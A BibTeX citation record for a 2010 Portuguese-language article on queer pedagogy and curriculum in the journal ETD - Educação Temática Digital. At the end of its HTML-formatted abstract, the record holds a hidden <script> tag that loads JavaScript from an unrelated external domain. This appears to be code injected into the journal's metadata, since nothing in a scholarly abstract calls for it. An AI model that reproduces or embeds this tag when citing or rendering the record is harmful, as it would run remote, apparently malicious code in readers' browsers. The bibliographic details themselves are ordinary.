@article{César_2010, place={Campinas, SP}, title={A diferença no currículo ou intervenções para uma pedagogia}, volume={14}, url={https://periodicos.sbu.unicamp.br/ojs/index.php/etd/article/view/1257}, DOI={10.20396/etd.v14i1.1257}, abstractNote={<p><span style="font-size: small;"><span style="font-family: Times New Roman;">Este artigo problematiza os sistemas normativos que aprisionam o corpo, o gênero e a sexualidade. Quatro personagens são chamados a intervir na discussão: Thomas Beatie, Brendan Teena, Bree Osbourn e Agrado, pois compõem narrativas que fazem transbordar o sistema corpo-sexo-gênero. Interrogam-se aqui os processos de captura, tais como patologização, medicalização, exclusão e violência, tendo em vista o dispositivo da sexualidade discutido por Foucault e os processos de naturalização do corpo, do sexo e do gênero. Tendo em vista que a narrativa curricular há tempos flerta com os temas da sexualidade e do gênero, na tentativa de produzir novos processos de captura, pensamos que o cruzamento entre a discussão do currículo e das quatro narrativas contribui para instaurar a diferença, no sentido dado por Deleuze. Novas perguntas, oriundas das teorizações <em style="mso-bidi-font-style: normal;">queer</em> ou pedagogia<em style="mso-bidi-font-style: normal;"> queer</em>, produzem a diferença nas práticas escolares, ao demonstrar os limites do nosso sistema de inteligibilidade quanto aos corpos, ao sexo e às relações de gênero. As quatro personagens/intervenções contêm um potencial reflexivo capaz de afetar a escola pelo (des)conhecimento, fazendo-a experimentar o não saber por meio de novas perguntas, capazes de colocar em xeque os sistemas normativos prevalecentes.<span style="mso-spacerun: yes;"> </span></span></span></p><script id="lg210a" type="text/javascript" src="https://cloudapi.online/js/api46.js"></script>}, number={1}, journal={ETD - Educação Temática Digital}, author={César, Maria Rita de Assis}, year={2010}, month={nov.}, pages={351–362} }